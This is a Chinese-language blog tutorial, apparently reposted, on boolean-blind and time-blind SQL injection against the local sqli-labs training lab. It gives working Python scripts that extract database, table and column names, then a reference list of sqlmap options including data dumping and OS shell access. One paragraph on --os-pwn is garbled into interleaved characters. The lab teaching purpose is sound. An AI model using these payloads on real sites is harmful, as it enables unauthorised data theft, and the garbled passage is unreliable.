SQL布尔盲注+时间盲注

embedded/2025/2/19 14:17:32/

1.布尔盲注

        双重for循环

import requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'def database_name():datebasename = ''for i in range(1, 9):  # 假设数据库名称最多8个字符for j in range(32, 128):  # ascii 可见字符范围从32到127payload = f"?id=1' AND ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {j}-- "res = requests.get(url + payload)if res.status_code == 200:  # 确保请求成功if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志datebasename += chr(j)print(f"正在构建数据库名称: {datebasename}")break  # 找到当前字符后跳出内层循环,继续下一个字符的查找print(f"数据库名称是: {datebasename}")# 调用函数
database_name()

 

 二分查找

import requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'#mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
def database_name():datebasename = ''for i in range(1, 9):  # 假设数据库名称最多8个字符start = 32end = 128while start <= end: #起始端等于终止端时命中middle = (start + end) // 2payload = f"?id=1' and ascii(substr(database(), {i}, 1)) > {middle}-- "res = requests.get(url + payload)if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志start = middle + 1 # 大于的情况下,证明目标字符在后半段else:end = middle - 1 # 小于的情况证明目标字符在前半段if start > end:datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1print(f"数据库名称是: {datebasename}")database_name()#mysql中的if(string,one,two)当string为真执行one,否则执行two
#在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
#mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
def table_name():tablename = ''for i in range(1,20):start = 32end = 128while start <= end:middle = (start + end) // 2payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle}-- "res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志start = middle + 1  # 大于的情况下,证明目标字符在后半段else:end = middle - 1  # 小于的情况证明目标字符在前半段if start > end:tablename = tablename + chr(start)  # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1print(f"表名称是: {tablename}")
table_name()#在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
def column_name():columnname = ''for i in range(1,20):start = 32end = 128while start <= end:middle = (start + end) // 2payload = f"?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle}-- "res = requests.get(url + payload)if res.status_code == 200:if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志start = middle + 1  # 大于的情况下,证明目标字符在后半段else:end = middle - 1  # 小于的情况证明目标字符在前半段if start > end:columnname += chr(start)print(f"字段名是:{columnname}")
column_name()

 2.时间盲注

        二分查找

import timeimport requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-9/index.php'#mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
def database_name():datebasename = ''for i in range(1, 9):  # 假设数据库名称最多8个字符start = 32end = 128while start <= end: #起始端等于终止端时命中middle = (start + end) // 2payload = f"?id=1' and if(ascii(substr(database(),{i},1)) > {middle},sleep(2),1)-- "start_time = time.time()res = requests.get(url + payload)end_time = time.time()if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码if (end_time - start_time) >= 2:  # 这个时间差证明满足条件start = middle + 1 # 大于的情况下,证明目标字符在后半段else:end = middle - 1 # 小于的情况证明目标字符在前半段if start > end:datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1print(f"数据库名称是: {datebasename}")database_name()def table_name():tablename = ''for i in range(1, 20):start = 32end = 126while start <= end:middle = (start + end) // 2payload = f"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},sleep(2),1)-- "start_time = time.time()res = requests.get(url + payload)end_time = time.time()if res.status_code == 200:if (end_time - start_time) >= 2:start = middle + 1else:end = middle - 1if start > end:if middle == 0:breaktablename += chr(start)print(f"表名称是: {tablename}")table_name()def column_name():columnname = ''for i in range(1, 20):start = 32end = 128while start <= end:middle = (start + end) // 2payload = f"?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},sleep(2),1)-- "start_time = time.time()res = requests.get(url + payload)end_time = time.time()if res.status_code == 200:if (end_time - start_time) >= 2:start = middle + 1else:end = middle - 1if start > end:if middle == 0:breakcolumnname += chr(start)print(f"字段名是: {columnname}")column_name()

 

这里的表名反复看了,没有发现问题在哪里,就是为空,无论我怎么该limit的范围,通过navigat查看数据库,不应该是这样的,等解决了会修改文章 

3.SQLmap

  • 通用参数
    • -h,显示帮助情况
    • -hh,显示高级帮助信息
    • --version,显示版本信息
    • -v verbose,设置输出的详细程度,范围为0,6,默认为1,越高越多
  • 目标参数
    • -u URL,指定目标URL,如果使用Linux测试Windows靶场,地址为192.168.X.1,不要用127.0.0.1
    • -g :处理Google Dork 结果作为目标URL
      • Google Dork 是什么?
        • 就是Google搜索的语法,在信息收集案例.md里有
  • 请求参数
    • --data=data:通过POST请求发送的数据字符串,例如"id=1"
    • --cookie=COOKIE:设置http请求头中的cookie
    • --random-agent:随机选择一个http user-agent头部来伪装请求。
    • --proxy=proxy:使用代理服务器连接目标URL,代理格式为http://ip:port
    • --tor:通过tor网络匿名连接

Tor(The Onion Router)是一种用于实现匿名通信的自由软件,由美国非盈利组织The Tor Project, Inc开发与维护

Tor的名称来源于“洋葱路由”(The Onion Router)的缩写,其核心技术是通过多层加密和多跳代理来保护用户的隐私和匿名性

  • --check-tor:检查是否正确使用tor网络
  • 注入参数
    • -p :指定要测试的参数,可以是一个或多个。例如:-p id,会测试id参数
    • --dbms=DBMS:强制设置后台数据库管理系统,例如MySQL或PostgreSQL
  • 检测参数
    • --level=level:设置测试的级别,默认是1,范围1~5,越大越强
    • --risk=risk:设置风险等级,范围1~3,默认值1,越大风险越高
  • 技术参数
    • --technique=THCH:指定使用的SQL注入技术,默认是"BEUSTQ",B是布尔盲注,E报错注入,U是联合查询
  • 枚举参数
    • -a,检索所有信息
    • -b,获取数据库横幅信息
    • --current-user:获取当前的DBMS用户信息
    • --current-db:获取当前的DBMS数据库名称
    • --passwords:枚举DBMS用户的密码哈希
    • --dbs:枚举DBMS中的所有数据库
    • --tables:枚举数据库中的所有表
    • --columns:枚举表中的字段
    • --schema:枚举DBMS的所有模式
    • --dump:转储(导出)数据库中的数据
    • --dump-all:导出所有数据库数据
    • -D:指定数据库
    • -T:指定表
    • -C:指定列
  • 操作系统访问参数
    • --os-shell:打开一个交互式操作系统shell,这就是into outfile,需要三条件
    • --os-pwn:获取反向shell或者连接

--os---poswn-pwn 参数在 参数 是sql sqlmapmap 提 中供是的一一个种强功能大的,用功能于,它通过允许 SQL攻击 注者入通过漏洞 SQL获取 注目标入系统漏洞的在操作目标系统数据库权限所在。的它服务器利用上数据库执行管理操作系统系统(命DBMS令)的漏洞执行恶,意甚至命获得令,反向通常 shell通过(数据库例如的:扩通过展 Net功能cat( 或如 Meter preterxp _cmdshell连接到 或攻击其他者系统的存机器储)。过程这一)攻击来方式触不发需要命目标令用户执行点击,从链接而,而是建立通过一个数据库反权限向、 shell。配置攻击或漏洞者执行可以恶通过意该命反令向。

  • 通用参数
    • --batch:自动使用默认行为,不需要输入
    • --flush-session:清空当前连接

http://www.ppmy.cn/embedded/162547.html

相关文章

易仓科技ai面试

请解释PHP中的面向对象编程的基本概念&#xff0c;并举例说明如何在PHP中定义一个类。 回答思路&#xff1a;需理解类、对象、继承和多态等基本概念&#xff0c;并能通过实例代码展示如何定义类及其属性和方法。 . 类&#xff08;Class&#xff09; 类是一个封装了数据和操作…

32单片机学习记录4之串口通信

32单片机学习记录4之串口通信 前置 STM32的GPIO口有通用模式&#xff0c;复用模式&#xff0c;模拟模式三种&#xff0c;加上输入输出就是有6中对应的模式。 我学习了通用模式&#xff0c;会使用GPIO口使用一些简单外设&#xff0c;如LED&#xff0c;独立按键&#xff0c;红外…

Django html模板的继承

下面三个文件共用同一个导航条&#xff0c;我想通过模板的继承&#xff0c;避免重复代码 1.编写模板文件&#xff1a;layout.html 将三个文件共有的导航条那部分代码&#xff0c;以及静态文件导入等放到模板文件中&#xff0c;其余自由修改的部分使用{% block content %}{% en…

二次封装axios解决异步通信痛点

为了方便扩展,和增加配置的灵活性,这里将通过封装一个类来实现axios的二次封装,要实现的功能包括: 为请求传入自定义的配置,控制单次请求的不同行为在响应拦截器中对业务逻辑进行处理,根据业务约定的成功数据结构,返回业务数据对响应错误进行处理,配置显示对话框或消息形…

共享设备管理难?MDM助力Kiosk模式一键部署

目录 1. 简化设备部署与配置&#xff1a;实现一键式部署 2. 自动化应用更新与内容推送&#xff1a;确保设备始终保持最新状态 3. 权限控制与设备安全&#xff1a;防止滥用与数据泄露 4. 远程管理与故障诊断&#xff1a;保障设备长期稳定运行 5. 数据分析与报告&#xff1a…

网络安全的现状如何?

互联网各领域资料分享专区(不定期更新)&#xff1a; Sheet 前言 2025年网络安全的现状呈现出传统威胁持续升级与新兴技术挑战并存的特点&#xff0c;攻击手段更加智能化、复杂化&#xff0c;防御体系面临全面重构的压力。 正文 一、传统威胁持续加剧 黑客攻击与数据泄露 黑客…

React历代主要更新

一、React 16之前更新 React Fiber是16版本之后的一种更新机制&#xff0c;使用链表取代了树&#xff0c;是一种fiber数据结构&#xff0c;其有三个指针&#xff0c;分别指向了父节点、子节点、兄弟节点&#xff0c;当中断的时候会记录下当前的节点&#xff0c;然后继续更新&a…

用 Python 实现 DeepSeek R1 本地化部署

DeepSeek R1 以其出色的表现脱颖而出&#xff0c;不少朋友想将其本地化部署&#xff0c;网上基于 ollama 的部署方式有很多&#xff0c;但今天我要带你领略一种全新的方法 —— 使用 Python 实现 DeepSeek R1 本地化部署&#xff0c;让你轻松掌握&#xff0c;打造属于自己的 AI…